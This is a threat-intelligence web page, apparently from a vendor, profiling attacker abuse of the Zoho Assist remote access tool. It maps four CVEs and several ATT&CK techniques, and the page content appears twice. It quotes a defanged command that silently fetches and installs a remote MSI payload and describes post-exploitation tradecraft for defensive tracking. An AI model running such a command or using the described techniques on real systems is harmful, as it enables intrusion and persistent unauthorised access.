MalwareExploits 4 CVEs

Zoho Assist

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

4 CVES

CVE-2025-12480Authentication Bypass and RCE in Gladinet TriofoxExploited in the wild

Hackers exploited Triofox flaw CVE-2025-12480 to bypass auth and install remote access tools via the platform’s antivirus feature.

via securityaffairssecurityaffairs.com

CVE-2025-26399Unauthenticated RCE in SolarWinds Web Help Desk AjaxProxy

"This payload delivered a Zoho ManageEngine RMM (Zoho Assist) agent... While Zoho Assist is a legitimate remote management tool, it has become a common post-exploitation choice due to its ability to provide persistent, unattended access."

via cyber security newscybersecuritynews.com

CVE-2025-40551Unauthenticated RCE in SolarWinds Web Help Desk Deserialization

via cyber security newscybersecuritynews.com

CVE-2025-40536SolarWinds Web Help Desk Security Control Bypass

via cyber security newscybersecuritynews.com

MITRE ATT&CK

Techniques & procedures

7 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1133External Remote ServicesEvidence1

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

T1566.004Spearphishing VoiceEvidence1

"UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments."

Execution

1 technique

T1059.003Windows Command ShellEvidence1

"the Java process executed cmd.exe to silently install a remote MSI payload: msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi"

Persistence

1 technique

T1133External Remote ServicesEvidence1

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

Stealth

1 technique

T1036MasqueradingEvidence1

Since Velociraptor is widely trusted and commonly used by security teams, its presence blended seamlessly with normal administrative behavior, making it an effective cover for malicious activity running in plain sight.

Lateral Movement

1 technique

T1021Remote ServicesEvidence7

Anubis also exploited authentic remote access and admin tools such as MeshAgent, Total Software Deployment, ScreenConnect, UltraVNC, and Zoho Assist to merge with usual IT operations while handling control of target systems.

Command and Control

2 techniques

T1105Ingress Tool TransferEvidence5

It is frequently delivered inside a password-protected archive pulled from the file-sharing service temp[.]sh... After establishing a backdoor admin on the victim's server, they pulled and executed a DragonForce ransomware binary (1.exe).

T1219Remote Access ToolsEvidence16

For persistence, the operator most frequently deployed rogue ScreenConnect clients configured to call back to attacker-controlled relay infrastructure, alongside Zoho Assist in several cases and, in one earlier instance, a Netbird and Atera combination

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

cyber security newsNews

Feb 9, 2026

Hackers Actively Exploiting SolarWinds Web Help Desk RCE Vulnerability to Deploy Custom Tools

Legitimate remote management (RMM) agent abused post-exploitation to provide persistent unattended remote access and interactive control via an attacker-controlled Zoho account.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities4

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping7

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareExploits 4 CVEs

Zoho Assist

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

4 CVES

CVE-2025-12480Authentication Bypass and RCE in Gladinet TriofoxExploited in the wild

Hackers exploited Triofox flaw CVE-2025-12480 to bypass auth and install remote access tools via the platform’s antivirus feature.

via securityaffairssecurityaffairs.com

CVE-2025-26399Unauthenticated RCE in SolarWinds Web Help Desk AjaxProxy

via cyber security newscybersecuritynews.com

CVE-2025-40551Unauthenticated RCE in SolarWinds Web Help Desk Deserialization

via cyber security newscybersecuritynews.com

CVE-2025-40536SolarWinds Web Help Desk Security Control Bypass

via cyber security newscybersecuritynews.com

MITRE ATT&CK

Techniques & procedures

7 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1133External Remote ServicesEvidence1

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

T1566.004Spearphishing VoiceEvidence1

"UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments."

Execution

1 technique

T1059.003Windows Command ShellEvidence1

"the Java process executed cmd.exe to silently install a remote MSI payload: msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi"

Persistence

1 technique

T1133External Remote ServicesEvidence1

Instead of relying on malicious software that antivirus tools might catch and flag, they use legitimate remote access tools to blend in with normal IT activity.

Stealth

1 technique

T1036MasqueradingEvidence1

Lateral Movement

1 technique

T1021Remote ServicesEvidence7

Command and Control

2 techniques

T1105Ingress Tool TransferEvidence5

T1219Remote Access ToolsEvidence16

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

cyber security newsNews

Feb 9, 2026

Hackers Actively Exploiting SolarWinds Web Help Desk RCE Vulnerability to Deploy Custom Tools

Legitimate remote management (RMM) agent abused post-exploitation to provide persistent unattended remote access and interactive control via an attacker-controlled Zoho account.

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities4

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping7

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.